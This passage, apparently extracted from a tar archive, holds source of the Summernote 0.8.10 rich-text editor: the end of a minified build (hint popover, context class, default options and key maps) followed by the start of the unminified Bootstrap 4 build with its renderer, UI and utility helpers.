e=this;this.lastWordRange=null,this.$popover=this.ui.popover({className:"note-hint-popover",hideArrow:!0,direction:""}).render().appendTo(this.options.container),this.$popover.hide(),this.$content=this.$popover.find(".popover-content,.note-popover-content"),this.$content.on("click",".note-hint-item",function(){e.$content.find(".active").removeClass("active"),t(e).addClass("active"),e.replace()})},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.selectItem=function(t){this.$content.find(".active").removeClass("active"),t.addClass("active"),this.$content[0].scrollTop=t[0].offsetTop-this.$content.innerHeight()/2},e.prototype.moveDown=function(){var t=this.$content.find(".note-hint-item.active"),e=t.next();if(e.length)this.selectItem(e);else{var o=t.parent().next();o.length||(o=this.$content.find(".note-hint-group").first()),this.selectItem(o.find(".note-hint-item").first())}},e.prototype.moveUp=function(){var t=this.$content.find(".note-hint-item.active"),e=t.prev();if(e.length)this.selectItem(e);else{var o=t.parent().prev();o.length||(o=this.$content.find(".note-hint-group").last()),this.selectItem(o.find(".note-hint-item").last())}},e.prototype.replace=function(){var t=this.$content.find(".note-hint-item.active");if(t.length){var e=this.nodeFromItem(t);this.lastWordRange.insertNode(e),Ht.createFromNode(e).collapse().select(),this.lastWordRange=null,this.hide(),this.context.triggerEvent("change",this.$editable.html(),this.$editable[0]),this.context.invoke("editor.focus")}},e.prototype.nodeFromItem=function(t){var e=this.hints[t.data("index")],o=t.data("item"),n=e.content?e.content(o):o;return"string"==typeof n&&(n=Nt.createText(n)),n},e.prototype.createItemTemplates=function(e,o){var n=this.hints[e];return o.map(function(o,i){var r=t('<div class="note-hint-item"/>');return r.append(n.template?n.template(o):o+""),r.data({index:e,item:o}),r})},e.prototype.handleKeydown=function(t){this.$popover.is(":visible")&&(t.keyCode===At.code.ENTER?(t.preventDefault(),this.replace()):t.keyCode===At.code.UP?(t.preventDefault(),this.moveUp()):t.keyCode===At.code.DOWN&&(t.preventDefault(),this.moveDown()))},e.prototype.searchKeyword=function(t,e,o){var n=this.hints[t];if(n&&n.match.test(e)&&n.search){var i=n.match.exec(e);n.search(i[1],o)}else o()},e.prototype.createGroup=function(e,o){var n=this,i=t('<div class="note-hint-group note-hint-group-'+e+'"/>');return this.searchKeyword(e,o,function(t){(t=t||[]).length&&(i.html(n.createItemTemplates(e,t)),n.show())}),i},e.prototype.handleKeyup=function(t){var e=this;if(!N.contains([At.code.ENTER,At.code.UP,At.code.DOWN],t.keyCode)){var o=this.context.invoke("editor.createRange").getWordRange(),n=o.toString();if(this.hints.length&&n){this.$content.empty();var i=C.rect2bnd(N.last(o.getClientRects()));i&&(this.$popover.hide(),this.lastWordRange=o,this.hints.forEach(function(t,o){t.match.test(n)&&e.createGroup(o,n).appendTo(e.$content)}),this.$content.find(".note-hint-item:first").addClass("active"),"top"===this.direction?this.$popover.css({left:i.left,top:i.top-this.$popover.outerHeight()-5}):this.$popover.css({left:i.left,top:i.top+i.height+5}))}else this.hide()}},e.prototype.show=function(){this.$popover.show()},e.prototype.hide=function(){this.$popover.hide()},e}(),de=function(){function e(e,o){this.ui=t.summernote.ui,this.$note=e,this.memos={},this.modules={},this.layoutInfo={},this.options=o,this.initialize()}return e.prototype.initialize=function(){return this.layoutInfo=this.ui.createLayout(this.$note,this.options),this._initialize(),this.$note.hide(),this},e.prototype.destroy=function(){this._destroy(),this.$note.removeData("summernote"),this.ui.removeLayout(this.$note,this.layoutInfo)},e.prototype.reset=function(){var t=this.isDisabled();this.code(Nt.emptyPara),this._destroy(),this._initialize(),t&&this.disable()},e.prototype._initialize=function(){var e=this,o=t.extend({},this.options.buttons);Object.keys(o).forEach(function(t){e.memo("button."+t,o[t])});var n=t.extend({},this.options.modules,t.summernote.plugins||{});Object.keys(n).forEach(function(t){e.module(t,n[t],!0)}),Object.keys(this.modules).forEach(function(t){e.initializeModule(t)})},e.prototype._destroy=function(){var t=this;Object.keys(this.modules).reverse().forEach(function(e){t.removeModule(e)}),Object.keys(this.memos).forEach(function(e){t.removeMemo(e)}),this.triggerEvent("destroy",this)},e.prototype.code=function(t){var e=this.invoke("codeview.isActivated");if(void 0===t)return this.invoke("codeview.sync"),e?this.layoutInfo.codable.val():this.layoutInfo.editable.html();e?this.layoutInfo.codable.val(t):this.layoutInfo.editable.html(t),this.$note.val(t),this.triggerEvent("change",t)},e.prototype.isDisabled=function(){return"false"===this.layoutInfo.editable.attr("contenteditable")},e.prototype.enable=function(){this.layoutInfo.editable.attr("contenteditable",!0),this.invoke("toolbar.activate",!0),this.triggerEvent("disable",!1)},e.prototype.disable=function(){this.invoke("codeview.isActivated")&&this.invoke("codeview.deactivate"),this.layoutInfo.editable.attr("contenteditable",!1),this.invoke("toolbar.deactivate",!0),this.triggerEvent("disable",!0)},e.prototype.triggerEvent=function(){var t=N.head(arguments),e=N.tail(N.from(arguments)),o=this.options.callbacks[C.namespaceToCamel(t,"on")];o&&o.apply(this.$note[0],e),this.$note.trigger("summernote."+t,e)},e.prototype.initializeModule=function(t){var e=this.modules[t];e.shouldInitialize=e.shouldInitialize||C.ok,e.shouldInitialize()&&(e.initialize&&e.initialize(),e.events&&Nt.attachEvents(this.$note,e.events))},e.prototype.module=function(t,e,o){if(1===arguments.length)return this.modules[t];this.modules[t]=new e(this),o||this.initializeModule(t)},e.prototype.removeModule=function(t){var e=this.modules[t];e.shouldInitialize()&&(e.events&&Nt.detachEvents(this.$note,e.events),e.destroy&&e.destroy()),delete this.modules[t]},e.prototype.memo=function(t,e){if(1===arguments.length)return this.memos[t];this.memos[t]=e},e.prototype.removeMemo=function(t){this.memos[t]&&this.memos[t].destroy&&this.memos[t].destroy(),delete this.memos[t]},e.prototype.createInvokeHandlerAndUpdateState=function(t,e){var o=this;return function(n){o.createInvokeHandler(t,e)(n),o.invoke("buttons.updateCurrentStyle")}},e.prototype.createInvokeHandler=function(e,o){var n=this;return function(i){i.preventDefault();var r=t(i.target);n.invoke(e,o||r.closest("[data-value]").data("value"),r)}},e.prototype.invoke=function(){var t=N.head(arguments),e=N.tail(N.from(arguments)),o=t.split("."),n=o.length>1,i=n&&N.head(o),r=n?N.last(o):N.head(o),s=this.modules[i||"editor"];return!i&&this[r]?this[r].apply(this,e):s&&s[r]&&s.shouldInitialize()?s[r].apply(s,e):void 0},e}();t.fn.extend({summernote:function(){var e=t.type(N.head(arguments)),o="string"===e,n="object"===e,i=t.extend({},t.summernote.options,n?N.head(arguments):{});i.langInfo=t.extend(!0,{},t.summernote.lang["en-US"],t.summernote.lang[i.lang]),i.icons=t.extend(!0,{},t.summernote.options.icons,i.icons),i.tooltip="auto"===i.tooltip?!z.isSupportTouch:i.tooltip,this.each(function(e,o){var n=t(o);if(!n.data("summernote")){var r=new de(n,i);n.data("summernote",r),n.data("summernote").triggerEvent("init",r.layoutInfo)}});var r=this.first();if(r.length){var s=r.data("summernote");if(o)return s.invoke.apply(s,N.from(arguments));i.focus&&s.invoke("editor.focus")}return this}}),t.summernote=t.extend(t.summernote,{version:"0.8.10",ui:y,dom:Nt,plugins:{},options:{modules:{editor:jt,clipboard:qt,dropzone:Kt,codeview:Vt,statusbar:Wt,fullscreen:Gt,handle:_t,hintPopover:ce,autoLink:Yt,autoSync:Qt,placeholder:Jt,buttons:Xt,toolbar:te,linkDialog:ee,linkPopover:oe,imageDialog:ne,imagePopover:ie,tablePopover:re,videoDialog:se,helpDialog:ae,airPopover:le},buttons:{},lang:"en-US",followingToolbar:!0,otherStaticBar:"",toolbar:[["style",["style"]],["font",["bold","underline","clear"]],["fontname",["fontname"]],["color",["color"]],["para",["ul","ol","paragraph"]],["table",["table"]],["insert",["link","picture","video"]],["view",["fullscreen","codeview","help"]]],popatmouse:!0,popover:{image:[["imagesize",["imageSize100","imageSize50","imageSize25"]],["float",["floatLeft","floatRight","floatNone"]],["remove",["removeMedia"]]],link:[["link",["linkDialogShow","unlink"]]],table:[["add",["addRowDown","addRowUp","addColLeft","addColRight"]],["delete",["deleteRow","deleteCol","deleteTable"]]],air:[["color",["color"]],["font",["bold","underline","clear"]],["para",["ul","paragraph"]],["table",["table"]],["insert",["link","picture"]]]},airMode:!1,width:null,height:null,linkTargetBlank:!0,focus:!1,tabSize:4,styleWithSpan:!0,shortcuts:!0,textareaAutoSync:!0,hintDirection:"bottom",tooltip:"auto",container:"body",maxTextLength:0,styleTags:["p",{title:"Blockquote",tag:"blockquote",className:"blockquote",value:"blockquote"},"h1","h2","h3","h4","h5","h6"],fontNames:["Arial","Arial Black","Comic Sans MS","Courier New","Helvetica Neue","Helvetica","Impact","Lucida Grande","Tahoma","Times New Roman","Verdana"],fontSizes:["8","9","10","11","12","14","18","24","36"],colors:[["#000000","#424242","#636363","#9C9C94","#CEC6CE","#EFEFEF","#F7F7F7","#FFFFFF"],["#FF0000","#FF9C00","#FFFF00","#00FF00","#00FFFF","#0000FF","#9C00FF","#FF00FF"],["#F7C6CE","#FFE7CE","#FFEFC6","#D6EFD6","#CEDEE7","#CEE7F7","#D6D6E7","#E7D6DE"],["#E79C9C","#FFC69C","#FFE79C","#B5D6A5","#A5C6CE","#9CC6EF","#B5A5D6","#D6A5BD"],["#E76363","#F7AD6B","#FFD663","#94BD7B","#73A5AD","#6BADDE","#8C7BC6","#C67BA5"],["#CE0000","#E79439","#EFC631","#6BA54A","#4A7B8C","#3984C6","#634AA5","#A54A7B"],["#9C0000","#B56308","#BD9400","#397B21","#104A5A","#085294","#311873","#731842"],["#630000","#7B3900","#846300","#295218","#083139","#003163","#21104A","#4A1031"]],colorsName:[["Black","Tundora","Dove Gray","Star Dust","Pale Slate","Gallery","Alabaster","White"],["Red","Orange Peel","Yellow","Green","Cyan","Blue","Electric Violet","Magenta"],["Azalea","Karry","Egg White","Zanah","Botticelli","Tropical Blue","Mischka","Twilight"],["Tonys Pink","Peach Orange","Cream Brulee","Sprout","Casper","Perano","Cold Purple","Careys Pink"],["Mandy","Rajah","Dandelion","Olivine","Gulf Stream","Viking","Blue Marguerite","Puce"],["Guardsman Red","Fire Bush","Golden Dream","Chelsea Cucumber","Smalt Blue","Boston Blue","Butterfly Bush","Cadillac"],["Sangria","Mai Tai","Buddha Gold","Forest Green","Eden","Venice Blue","Meteorite","Claret"],["Rosewood","Cinnamon","Olive","Parsley","Tiber","Midnight Blue","Valentino","Loulou"]],lineHeights:["1.0","1.2","1.4","1.5","1.6","1.8","2.0","3.0"],tableClassName:"table table-bordered",insertTableMaxSize:{col:10,row:10},dialogsInBody:!1,dialogsFade:!1,maximumImageFileSize:null,callbacks:{onInit:null,onFocus:null,onBlur:null,onBlurCodeview:null,onEnter:null,onKeyup:null,onKeydown:null,onImageUpload:null,onImageUploadError:null},codemirror:{mode:"text/html",htmlMode:!0,lineNumbers:!0},keyMap:{pc:{ENTER:"insertParagraph","CTRL+Z":"undo","CTRL+Y":"redo",TAB:"tab","SHIFT+TAB":"untab","CTRL+B":"bold","CTRL+I":"italic","CTRL+U":"underline","CTRL+SHIFT+S":"strikethrough","CTRL+BACKSLASH":"removeFormat","CTRL+SHIFT+L":"justifyLeft","CTRL+SHIFT+E":"justifyCenter","CTRL+SHIFT+R":"justifyRight","CTRL+SHIFT+J":"justifyFull","CTRL+SHIFT+NUM7":"insertUnorderedList","CTRL+SHIFT+NUM8":"insertOrderedList","CTRL+LEFTBRACKET":"outdent","CTRL+RIGHTBRACKET":"indent","CTRL+NUM0":"formatPara","CTRL+NUM1":"formatH1","CTRL+NUM2":"formatH2","CTRL+NUM3":"formatH3","CTRL+NUM4":"formatH4","CTRL+NUM5":"formatH5","CTRL+NUM6":"formatH6","CTRL+ENTER":"insertHorizontalRule","CTRL+K":"linkDialog.show"},mac:{ENTER:"insertParagraph","CMD+Z":"undo","CMD+SHIFT+Z":"redo",TAB:"tab","SHIFT+TAB":"untab","CMD+B":"bold","CMD+I":"italic","CMD+U":"underline","CMD+SHIFT+S":"strikethrough","CMD+BACKSLASH":"removeFormat","CMD+SHIFT+L":"justifyLeft","CMD+SHIFT+E":"justifyCenter","CMD+SHIFT+R":"justifyRight","CMD+SHIFT+J":"justifyFull","CMD+SHIFT+NUM7":"insertUnorderedList","CMD+SHIFT+NUM8":"insertOrderedList","CMD+LEFTBRACKET":"outdent","CMD+RIGHTBRACKET":"indent","CMD+NUM0":"formatPara","CMD+NUM1":"formatH1","CMD+NUM2":"formatH2","CMD+NUM3":"formatH3","CMD+NUM4":"formatH4","CMD+NUM5":"formatH5","CMD+NUM6":"formatH6","CMD+ENTER":"insertHorizontalRule","CMD+K":"linkDialog.show"}},icons:{align:"note-icon-align",alignCenter:"note-icon-align-center",alignJustify:"note-icon-align-justify",alignLeft:"note-icon-align-left",alignRight:"note-icon-align-right",rowBelow:"note-icon-row-below",colBefore:"note-icon-col-before",colAfter:"note-icon-col-after",rowAbove:"note-icon-row-above",rowRemove:"note-icon-row-remove",colRemove:"note-icon-col-remove",indent:"note-icon-align-indent",outdent:"note-icon-align-outdent",arrowsAlt:"note-icon-arrows-alt",bold:"note-icon-bold",caret:"note-icon-caret",circle:"note-icon-circle",close:"note-icon-close",code:"note-icon-code",eraser:"note-icon-eraser",font:"note-icon-font",frame:"note-icon-frame",italic:"note-icon-italic",link:"note-icon-link",unlink:"note-icon-chain-broken",magic:"note-icon-magic",menuCheck:"note-icon-menu-check",minus:"note-icon-minus",orderedlist:"note-icon-orderedlist",pencil:"note-icon-pencil",picture:"note-icon-picture",question:"note-icon-question",redo:"note-icon-redo",square:"note-icon-square",strikethrough:"note-icon-strikethrough",subscript:"note-icon-subscript",superscript:"note-icon-superscript",table:"note-icon-table",textHeight:"note-icon-text-height",trash:"note-icon-trash",underline:"note-icon-underline",undo:"note-icon-undo",unorderedlist:"note-icon-unorderedlist",video:"note-icon-video"}}})});summernote-bs4.js000064400001023451151677331550010011 0ustar00/** * Super simple wysiwyg editor v0.8.10 * https://summernote.org * * Copyright 2013- Alan Hong. and other contributors * summernote may be freely distributed under the MIT license. * * Date: 2018-02-20T00:34Z */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('jquery')) : typeof define === 'function' && define.amd ? define(['jquery'], factory) : (factory(global.jQuery)); }(this, (function ($$1) { 'use strict'; $$1 = $$1 && $$1.hasOwnProperty('default') ? $$1['default'] : $$1; var Renderer = /** @class */ (function () { function Renderer(markup, children, options, callback) { this.markup = markup; this.children = children; this.options = options; this.callback = callback; } Renderer.prototype.render = function ($parent) { var $node = $$1(this.markup); if (this.options && this.options.contents) { $node.html(this.options.contents); } if (this.options && this.options.className) { $node.addClass(this.options.className); } if (this.options && this.options.data) { $$1.each(this.options.data, function (k, v) { $node.attr('data-' + k, v); }); } if (this.options && this.options.click) { $node.on('click', this.options.click); } if (this.children) { var $container_1 = $node.find('.note-children-container'); this.children.forEach(function (child) { child.render($container_1.length ? $container_1 : $node); }); } if (this.callback) { this.callback($node, this.options); } if (this.options && this.options.callback) { this.options.callback($node); } if ($parent) { $parent.append($node); } return $node; }; return Renderer; }()); var renderer = { create: function (markup, callback) { return function () { var options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0]; var children = $$1.isArray(arguments[0]) ? arguments[0] : []; if (options && options.children) { children = options.children; } return new Renderer(markup, children, options, callback); }; } }; var editor = renderer.create('<div class="note-editor note-frame card"/>'); var toolbar = renderer.create('<div class="note-toolbar-wrapper"><div class="note-toolbar card-header" role="toolbar"></div></div>'); var editingArea = renderer.create('<div class="note-editing-area"/>'); var codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>'); var editable = renderer.create('<div class="note-editable card-block" contentEditable="true" role="textbox" aria-multiline="true"/>'); var statusbar = renderer.create([ '<output class="note-status-output" aria-live="polite"/>', '<div class="note-statusbar" role="status">', ' <output class="note-status-output" aria-live="polite"></output>', ' <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' </div>', '</div>' ].join('')); var airEditor = renderer.create('<div class="note-editor"/>'); var airEditable = renderer.create([ '<output class="note-status-output" aria-live="polite"/>', '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>' ].join('')); var buttonGroup = renderer.create('<div class="note-btn-group btn-group">'); var dropdown = renderer.create('<div class="dropdown-menu" role="list">', function ($node, options) { var markup = $$1.isArray(options.items) ? options.items.map(function (item) { var value = (typeof item === 'string') ? item : (item.value || ''); var content = options.template ? options.template(item) : item; var option = (typeof item === 'object') ? item.option : undefined; var dataValue = 'data-value="' + value + '"'; var dataOption = (option !== undefined) ? ' data-option="' + option + '"' : ''; return '<a class="dropdown-item" href="#" ' + (dataValue + dataOption) + ' role="listitem" aria-label="' + item + '">' + content + '</a>'; }).join('') : options.items; $node.html(markup).attr({ 'aria-label': options.title }); }); var dropdownButtonContents = function (contents) { return contents; }; var dropdownCheck = renderer.create('<div class="dropdown-menu note-check" role="list">', function ($node, options) { var markup = $$1.isArray(options.items) ? options.items.map(function (item) { var value = (typeof item === 'string') ? item : (item.value || ''); var content = options.template ? options.template(item) : item; return '<a class="dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '">' + icon(options.checkClassName) + ' ' + content + '</a>'; }).join('') : options.items; $node.html(markup).attr({ 'aria-label': options.title }); }); var palette = renderer.create('<div class="note-color-palette"/>', function ($node, options) { var contents = []; for (var row = 0, rowSize = options.colors.length; row < rowSize; row++) { var eventName = options.eventName; var colors = options.colors[row]; var colorsName = options.colorsName[row]; var buttons = []; for (var col = 0, colSize = colors.length; col < colSize; col++) { var color = colors[col]; var colorName = colorsName[col]; buttons.push([ '<button type="button" class="note-color-btn"', 'style="background-color:', color, '" ', 'data-event="', eventName, '" ', 'data-value="', color, '" ', 'title="', colorName, '" ', 'aria-label="', colorName, '" ', 'data-toggle="button" tabindex="-1"></button>' ].join('')); } contents.push('<div class="note-color-row">' + buttons.join('') + '</div>'); } $node.html(contents.join('')); if (options.tooltip) { $node.find('.note-color-btn').tooltip({ container: options.container, trigger: 'hover', placement: 'bottom' }); } }); var dialog = renderer.create('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function ($node, options) { if (options.fade) { $node.addClass('fade'); } $node.attr({ 'aria-label': options.title }); $node.html([ '<div class="modal-dialog">', ' <div class="modal-content">', (options.title ? ' <div class="modal-header">' + ' <h4 class="modal-title">' + options.title + '</h4>' + ' <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">×</button>' + ' </div>' : ''), ' <div class="modal-body">' + options.body + '</div>', (options.footer ? ' <div class="modal-footer">' + options.footer + '</div>' : ''), ' </div>', '</div>' ].join('')); }); var popover = renderer.create([ '<div class="note-popover popover in">', ' <div class="arrow"/>', ' <div class="popover-content note-children-container"/>', '</div>' ].join(''), function ($node, options) { var direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom'; $node.addClass(direction); if (options.hideArrow) { $node.find('.arrow').hide(); } }); var checkbox = renderer.create('<label class="custom-control custom-checkbox"></label>', function ($node, options) { if (options.id) { $node.attr('for', options.id); } $node.html([ ' <input role="checkbox" type="checkbox" class="custom-control-input"' + (options.id ? ' id="' + options.id + '"' : ''), (options.checked ? ' checked' : ''), ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>', ' <span class="custom-control-indicator"></span>', ' <span class="custom-control-description">' + (options.text ? options.text : '') + '</span>', '</label>' ].join('')); }); var icon = function (iconClassName, tagName) { tagName = tagName || 'i'; return '<' + tagName + ' class="' + iconClassName + '"/>'; }; var ui = { editor: editor, toolbar: toolbar, editingArea: editingArea, codable: codable, editable: editable, statusbar: statusbar, airEditor: airEditor, airEditable: airEditable, buttonGroup: buttonGroup, dropdown: dropdown, dropdownButtonContents: dropdownButtonContents, dropdownCheck: dropdownCheck, palette: palette, dialog: dialog, popover: popover, icon: icon, checkbox: checkbox, options: {}, button: function ($node, options) { return renderer.create('<button type="button" class="note-btn btn btn-light btn-sm" role="button" tabindex="-1">', function ($node, options) { if (options && options.tooltip) { $node.attr({ title: options.tooltip, 'aria-label': options.tooltip }).tooltip({ container: options.container, trigger: 'hover', placement: 'bottom' }); } })($node, options); }, toggleBtn: function ($btn, isEnable) { $btn.toggleClass('disabled', !isEnable); $btn.attr('disabled', !isEnable); }, toggleBtnActive: function ($btn, isActive) { $btn.toggleClass('active', isActive); }, onDialogShown: function ($dialog, handler) { $dialog.one('shown.bs.modal', handler); }, onDialogHidden: function ($dialog, handler) { $dialog.one('hidden.bs.modal', handler); }, showDialog: function ($dialog) { $dialog.modal('show'); }, hideDialog: function ($dialog) { $dialog.modal('hide'); }, createLayout: function ($note, options) { var $editor = (options.airMode ? ui.airEditor([ ui.editingArea([ ui.airEditable() ]) ]) : ui.editor([ ui.toolbar(), ui.editingArea([ ui.codable(), ui.editable() ]), ui.statusbar() ])).render(); $editor.insertAfter($note); return { note: $note, editor: $editor, toolbar: $editor.find('.note-toolbar'), editingArea: $editor.find('.note-editing-area'), editable: $editor.find('.note-editable'), codable: $editor.find('.note-codable'), statusbar: $editor.find('.note-statusbar') }; }, removeLayout: function ($note, layoutInfo) { $note.html(layoutInfo.editable.html()); layoutInfo.editor.remove(); $note.show(); } }; /** * @class core.func * * func utils (for high-order func's arg) * * @singleton * @alternateClassName func */ function eq(itemA) { return function (itemB) { return itemA === itemB; }; } function eq2(itemA, itemB) { return itemA === itemB; } function peq2(propName) { return function (itemA, itemB) { return itemA[propName] === itemB[propName]; }; } function ok() { return true; } function fail() { return false; } function not(f) { return function () { return !f.apply(f, arguments); }; } function and(fA, fB) { return function (item) { return fA(item) && fB(item); }; } function self(a) { return a; } function invoke(obj, method) { return function () { return obj[method].apply(obj, arguments); }; } var idCounter = 0; /** * generate a globally-unique id * * @param {String} [prefix] */ function uniqueId(prefix) { var id = ++idCounter + ''; return prefix ? prefix + id : id; } /** * returns bnd (bounds) from rect * * - IE Compatibility Issue: http://goo.gl/sRLOAo * - Scroll Issue: http://goo.gl/sNjUc * * @param {Rect} rect * @return {Object} bounds * @return {Number} bounds.top * @return {Number} bounds.left * @return {Number} bounds.width * @return {Number} bounds.height */ function rect2bnd(rect) { var $document = $(document); return { top: rect.top + $document.scrollTop(), left: rect.left + $document.scrollLeft(), width: rect.right - rect.left, height: rect.bottom - rect.top }; } /** * returns a copy of the object where the keys have become the values and the values the keys. * @param {Object} obj * @return {Object} */ function invertObject(obj) { var inverted = {}; for (var key in obj) { if (obj.hasOwnProperty(key)) { inverted[obj[key]] = key; } } return inverted; } /** * @param {String} namespace * @param {String} [prefix] * @return {String} */ function namespaceToCamel(namespace, prefix) { prefix = prefix || ''; return prefix + namespace.split('.').map(function (name) { return name.substring(0, 1).toUpperCase() + name.substring(1); }).join(''); } /** * Returns a function, that, as long as it continues to be invoked, will not * be triggered. The function will be called after it stops being called for * N milliseconds. If `immediate` is passed, trigger the function on the * leading edge, instead of the trailing. * @param {Function} func * @param {Number} wait * @param {Boolean} immediate * @return {Function} */ function debounce(func, wait, immediate) { var _this = this; var timeout; return function () { var context = _this; var args = arguments; var later = function () { timeout = null; if (!immediate) { func.apply(context, args); } }; var callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } var func = { eq: eq, eq2: eq2, peq2: peq2, ok: ok, fail: fail, self: self, not: not, and: and, invoke: invoke, uniqueId: uniqueId, rect2bnd: rect2bnd, invertObject: invertObject, namespaceToCamel: namespaceToCamel, debounce: debounce }; /** * returns the first item of an array. * * @param {Array} array */ function head(array) { return array[0]; } /** * returns the last item of an array. * * @param {Array} array */ function last(array) { return array[array.length - 1]; } /** * returns everything but the last entry of the array. * * @param {Array} array */ function initial(array) { return array.slice(0, array.length - 1); } /** * returns the rest of the items in an array. * * @param {Array} array */ function tail(array) { return array.slice(1); } /** * returns item of array */ function find(array, pred) { for (var idx = 0, len = array.length; idx < len; idx++) { var item = array[idx]; if (pred(item)) { return item; } } } /** * returns true if all of the values in the array pass the predicate truth test. */ function all(array, pred) { for (var idx = 0, len = array.length; idx < len; idx++) { if (!pred(array[idx])) { return false; } } return true; } /** * returns index of item */ function indexOf(array, item) { return $$1.inArray(item, array); } /** * returns true if the value is present in the list. */ function contains(array, item) { return indexOf(array, item) !== -1; } /** * get sum from a list * * @param {Array} array - array * @param {Function} fn - iterator */ function sum(array, fn) { fn = fn || func.self; return array.reduce(function (memo, v) { return memo + fn(v); }, 0); } /** * returns a copy of the collection with array type. * @param {Collection} collection - collection eg) node.childNodes, ... */ function from(collection) { var result = []; var length = collection.length; var idx = -1; while (++idx < length) { result[idx] = collection[idx]; } return result; } /** * returns whether list is empty or not */ function isEmpty$1(array) { return !array || !array.length; } /** * cluster elements by predicate function. * * @param {Array} array - array * @param {Function} fn - predicate function for cluster rule * @param {Array[]} */ function clusterBy(array, fn) { if (!array.length) { return []; } var aTail = tail(array); return aTail.reduce(function (memo, v) { var aLast = last(memo); if (fn(last(aLast), v)) { aLast[aLast.length] = v; } else { memo[memo.length] = [v]; } return memo; }, [[head(array)]]); } /** * returns a copy of the array with all false values removed * * @param {Array} array - array * @param {Function} fn - predicate function for cluster rule */ function compact(array) { var aResult = []; for (var idx = 0, len = array.length; idx < len; idx++) { if (array[idx]) { aResult.push(array[idx]); } } return aResult; } /** * produces a duplicate-free version of the array * * @param {Array} array */ function unique(array) { var results = []; for (var idx = 0, len = array.length; idx < len; idx++) { if (!contains(results, array[idx])) { results.push(array[idx]); } } return results; } /** * returns next item. * @param {Array} array */ function next(array, item) { var idx = indexOf(array, item); if (idx === -1) { return null; } return array[idx + 1]; } /** * returns prev item. * @param {Array} array */ function prev(array, item) { var idx = indexOf(array, item); if (idx === -1) { return null; } return array[idx - 1]; } /** * @class core.list * * list utils * * @singleton * @alternateClassName list */ var lists = { head: head, last: last, initial: initial, tail: tail, prev: prev, next: next, find: find, contains: contains, all: all, sum: sum, from: from, isEmpty: isEmpty$1, clusterBy: clusterBy, compact: compact, unique: unique }; var isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line /** * returns whether font is installed or not. * * @param {String} fontName * @return {Boolean} */ function isFontInstalled(fontName) { var testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS'; var $tester = $$1('<div>').css({ position: 'absolute', left: '-9999px', top: '-9999px', fontSize: '200px' }).text('mmmmmmmmmwwwwwww').appendTo(document.body); var originalWidth = $tester.css('fontFamily', testFontName).width(); var width = $tester.css('fontFamily', fontName + ',' + testFontName).width(); $tester.remove(); return originalWidth !== width; } var userAgent = navigator.userAgent; var isMSIE = /MSIE|Trident/i.test(userAgent); var browserVersion; if (isMSIE) { var matches = /MSIE (\d+[.]\d+)/.exec(userAgent); if (matches) { browserVersion = parseFloat(matches[1]); } matches = /Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent); if (matches) { browserVersion = parseFloat(matches[1]); } } var isEdge = /Edge\/\d+/.test(userAgent); var hasCodeMirror = !!window.CodeMirror; if (!hasCodeMirror && isSupportAmd) { // Webpack if (typeof __webpack_require__ === 'function') { try { // If CodeMirror can't be resolved, `require.resolve` will throw an // exception and `hasCodeMirror` won't be set to `true`. require.resolve('codemirror'); hasCodeMirror = true; } catch (e) { // do nothing } } else if (typeof require !== 'undefined') { // Browserify if (typeof require.resolve !== 'undefined') { try { // If CodeMirror can't be resolved, `require.resolve` will throw an // exception and `hasCodeMirror` won't be set to `true`. require.resolve('codemirror'); hasCodeMirror = true; } catch (e) { // do nothing } // Almond/Require } else if (typeof require.specified !== 'undefined') { hasCodeMirror = require.specified('codemirror'); } } } var isSupportTouch = (('ontouchstart' in window) || (navigator.MaxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0)); // [workaround] IE doesn't have input events for contentEditable // - see: https://goo.gl/4bfIvA var inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input'; /** * @class core.env * * Object which check platform and agent * * @singleton * @alternateClassName env */ var env = { isMac: navigator.appVersion.indexOf('Mac') > -1, isMSIE: isMSIE, isEdge: isEdge, isFF: !isEdge && /firefox/i.test(userAgent), isPhantom: /PhantomJS/i.test(userAgent), isWebkit: !isEdge && /webkit/i.test(userAgent), isChrome: !isEdge && /chrome/i.test(userAgent), isSafari: !isEdge && /safari/i.test(userAgent), browserVersion: browserVersion, jqueryVersion: parseFloat($$1.fn.jquery), isSupportAmd: isSupportAmd, isSupportTouch: isSupportTouch, hasCodeMirror: hasCodeMirror, isFontInstalled: isFontInstalled, isW3CRangeSupport: !!document.createRange, inputEventName: inputEventName }; var NBSP_CHAR = String.fromCharCode(160); var ZERO_WIDTH_NBSP_CHAR = '\ufeff'; /** * @method isEditable * * returns whether node is `note-editable` or not. * * @param {Node} node * @return {Boolean} */ function isEditable(node) { return node && $$1(node).hasClass('note-editable'); } /** * @method isControlSizing * * returns whether node is `note-control-sizing` or not. * * @param {Node} node * @return {Boolean} */ function isControlSizing(node) { return node && $$1(node).hasClass('note-control-sizing'); } /** * @method makePredByNodeName * * returns predicate which judge whether nodeName is same * * @param {String} nodeName * @return {Function} */ function makePredByNodeName(nodeName) { nodeName = nodeName.toUpperCase(); return function (node) { return node && node.nodeName.toUpperCase() === nodeName; }; } /** * @method isText * * * * @param {Node} node * @return {Boolean} true if node's type is text(3) */ function isText(node) { return node && node.nodeType === 3; } /** * @method isElement * * * * @param {Node} node * @return {Boolean} true if node's type is element(1) */ function isElement(node) { return node && node.nodeType === 1; } /** * ex) br, col, embed, hr, img, input, ... * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements */ function isVoid(node) { return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase()); } function isPara(node) { if (isEditable(node)) { return false; } // 